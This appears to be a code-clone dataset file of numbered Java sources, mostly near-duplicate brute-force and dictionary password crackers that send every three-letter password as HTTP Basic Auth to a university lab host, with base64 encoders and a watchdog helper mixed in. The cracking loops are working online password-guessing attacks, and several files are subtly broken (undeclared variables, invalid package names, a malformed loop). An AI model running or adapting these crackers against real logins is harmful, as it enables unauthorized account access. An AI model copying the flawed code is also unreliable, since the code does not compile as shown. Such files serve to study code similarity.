bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" "257.java 258.java"
030.java "
import java.awt.*;
import java.util.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
public class BruteForce
{
private String userPassword;
private static int counter;
public BruteForce(String username)
{
String user;
String password;
counter = 0;
user = username;
for (char i='A';i<='z';i++)
{
if (i == 'Z')
i = 'a';
for (char j='A';j<='z';j++)
{
if (j == 'Z')
j = 'a';
for (char k='A';k<='z';k++)
{
userPassword = user+ "":"" + i + j + k;
if (k == 'Z')
k = 'a';
System.out.print(""."");
if (doEncoding(userPassword)== true)
{
System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k);
return;
};
counter++;
}
}
}
}
private boolean doEncoding(String userPassword)
{
String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
return doAttempt(encoding);
}
private boolean doAttempt (String encoding)
{
try
{
URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
URLConnection uc = url.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1"");
uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu."");
uc.setRequestProperty (""Authorization"", "" "" + encoding);
return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"");
}
catch (MalformedURLException e)
{
System.out.println (""Invalid URL"");
}
catch (IOException e)
{
System.out.println (e.toString() );
}
return false;
}
public static void main(String args[])
{
Date sdate = new Date();
System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n"");
BruteForce bf = new BruteForce(args[0]);
Date edate = new Date();
System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n"");
System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n"");
System.out.print(""Attempts in this session:"" + counter + ""\n""); }
}
" 032.java
175.java "import java.io.*;
import java.net.*;
import java.util.*;
public class BruteForce
{
public static void main(String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println(""The password is "" + password);
}
public static String getPassword(double startTime)
{
char first, second, third;
String password="""";
int requests=0;
for (int i=65; i<123; i++)
{
requests++;
first = (char) i;
password = first + """";
if (testPassword(password, startTime, requests))
return password;
for (int j=65; j<123; j++)
{
requests++;
second = (char) j;
password = first + """" + second;
if (testPassword(password, startTime, requests))
return password;
for (int k=65; k<123; k++)
{
requests++;
third = (char) k;
password = first + """" + second + """" + third;
if (testPassword(password, startTime, requests))
return password;
if (k==90)
k=96;
}
if (j==90)
j=96;
}
if (i==90)
i=96;
}
return password;
}
private static boolean testPassword(String password, double startTime, int requests)
{
try
{
URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
HttpURLConnection connection;
String userPassword = "":"" + password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
try
{
connection = (HttpURLConnection) url.openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
int status=connection.getResponseCode();
System.out.println(password + requests);
if (status==200)
{
System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password."");
System.out.println("" were "" + requests + "" requests ."");
return true;
}
return false;
}
catch (IOException ioe)
{
System.out.print(ioe);
return false;
}
}
catch (IOException MalformedURLException)
{
System.out.print(""Invalid URL"");
return false;
}
}
private static double getTime(double startTime)
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double endTime = now.getTime();
return endTime-startTime;
}
}
" 180.java
238.java "
import java.util.*;
import java.io.*;
import java.net.*;
class BruteForce
{
public static void main (String a[])
{
final char [] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
String pwd="""";
for(int i=0;i<52;i++)
{
for(int j=0;j<52;j++)
{
for(int k=0;k<52;k++)
{
pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k];
String userPassword = "":""+pwd;
RealThread myTh = new RealThread(i,userPassword);
Thread th = new Thread( myTh );
th.start();
try
{
th.sleep(100);
}
catch(Exception e)
{}
}
}
}
}
}
class RealThread implements Runnable
{
private int num;
private URL url;
private HttpURLConnection uc =null;
private String userPassword;
private int responseCode = 100;
public RealThread (int i, String userPassword)
{
try
{
url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
}
catch(Exception ex1)
{
}
num = i;
this.userPassword = userPassword;
}
public int getResponseCode()
{
return this.responseCode;
}
public void run()
{
try
{
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
uc = (HttpURLConnection)url.openConnection();
uc.setRequestProperty (""Authorization"", "" "" + encoding);
System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword);
this.responseCode = uc.getResponseCode();
if(uc.getResponseCode()==200)
{
System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= "");
System.exit(0);
}
}
catch (Exception e) {
System.out.println(""Could not execute Thread ""+num+"" "");
}
}
}
" 240.java
153.java "import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="""";
String auth_data;
String server_res_code;
String required_server_res_code=""200"";
int cntr=0;
try {
URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + "":"" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
conn.setRequestProperty (""Authorization"", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = """";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return "" "" + encodedString;
}
}" 222.java
222.java "
import java.net.*;
import java.io.*;
public class Base64Encoder
{
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
public static String encode (String string)
{
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length)
{
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length)
{
b2 = 0;
b3 = 0;
pad = 2;
}
else
{
b2 = bytes [i++];
if (i >= bytes.length)
{
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad)
{
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "153.java 087.java 155.java"
107.java "
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println(""Error init'ing the watchddog Props"");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties"");
testProps.load(fis);
}
}
}
" 113.java
044.java "import java.net.*;
import java.io.*;
public class Dictionary {
private String strUserName;
private String strURL;
private String strDictPath;
private int iAttempts;
public Dictionary(String strURL,String strUserName,String strDictPath) {
this.strURL = strURL;
this.strUserName = strUserName;
this.iAttempts = 0 ;
this.strDictPath = strDictPath;
}
public String getPassword(){
URL u;
String result ="""";
PassGenDict PG = new PassGenDict(3,strDictPath);
URLConnection uc;
String strPassword = new String();
String strEncode;
try{
while (result.compareTo(""HTTP/1.1 200 OK"")!=0){
strEncode = PG.getNewPassword();
u = new URL(strURL);
uc = u.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
strPassword = strEncode;
strEncode = strUserName + "":"" + strEncode;
strEncode = new String(Base64.encode(strEncode.getBytes()));
uc.setRequestProperty(""Authorization"","" "" + strEncode);
result = uc.getHeaderField(0);
uc = null;
u = null;
iAttempts++;
}
}
catch (Exception me) {
System.out.println(""MalformedURLException: ""+me);
}
return(strPassword);
}
public int getAttempts(){
return (iAttempts);
};
public static void main(String arg[]){
timeStart = 0;
timeEnd = 0;
if (arg.length == 3) {
Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);
System.out.println(""Processing ... "");
timeStart = System.currentTimeMillis();
System.out.println(""Password = "" + BF.getPassword());
timeEnd = System.currentTimeMillis();
System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)"");
System.out.println(""Total Attempts = "" + BF.getAttempts());
}
else {
System.out.println(""[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"");
}
}
}
class PassGenDict {
private char[] password;
private String line;
int iPassLenght;
private BufferedReader inputFile;
public PassGenDict(int lenght, String strDictPath) {
try{
inputFile = new BufferedReader(new FileReader(strDictPath));
}
catch (Exception e){
}
iPassLenght = lenght;
}
public String getNewPassword()
throws PasswordFailureException{
try {
{
line = inputFile.readLine();
}while (line.length() != iPassLenght);
}
catch (Exception e){
throw new PasswordFailureException ();
}
return (line);
}
}
class PasswordFailureException extends RuntimeException {
public PasswordFailureException() {
}
}" 042.java
222.java "
import java.net.*;
import java.io.*;
public class Base64Encoder
{
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
public static String encode (String string)
{
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length)
{
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length)
{
b2 = 0;
b3 = 0;
pad = 2;
}
else
{
b2 = bytes [i++];
if (i >= bytes.length)
{
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad)
{
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "153.java 087.java 155.java"
228.java "
import java.io.*;
import java.*;
import java.net.*;
import java.util.*;
public class BruteForce {
public static void main (String[] args) throws IOException {
BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
int start = new Date().getTime();
String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"",
""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"",
""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"",
""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""};
int len = 52;
int total = 52;
String[] cad = new String[total];
int t=0;
for (int i=0;i<=len-1;i++){
cad[t] = letters[i];
t++;
}
for (int i=0;i<=len-1;i++){
for (int j=0;j<=len-1;j++){
cad[t] = letters[j]+letters[i];
t++;
}}
for (int i=0;i<=len-1;i++){
for (int j=0;j<=len-1;j++){
for (int k=0;k<=len-1;k++){
cad[t] = letters[k]+letters[j]+letters[i];
t++;
}}}
int response = 0;
for (t=0;t<=total-1;t++){
String uname = """";
String userinfo = uname + "":"" + cad[t];
try{
String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
HttpURLConnection uc = (HttpURLConnection)url.openConnection();
uc.setRequestProperty (""Authorization"", "" "" + encoding);
response = uc.getResponseCode();
if (response == 200) break;
else uc.disconnect();
}
catch(IOException e){ System.err.println(e); e.printStackTrace(); }
catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
}
System.out.println(""Response ""+t+"" was ""+response);
System.out.println(""The successful password was ""+cad[t]);
finish = new Date().getTime();
float totaltime = (float)(finish-start)/1000;
System.out.println(""Total time: ""+totaltime+"" seconds"");
}
}
" 230.java
174.java "
import java.util.*;
import java.io.*;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}
" 135.java
086.java "import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
"""",
""""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println(""Crrect password is: "" + inp[2]);
System.out.println(""Number of attempts = "" + attempts);
break exit;
}
inp[2] = """";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty (""Authorization"",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "155.java 087.java 243.java"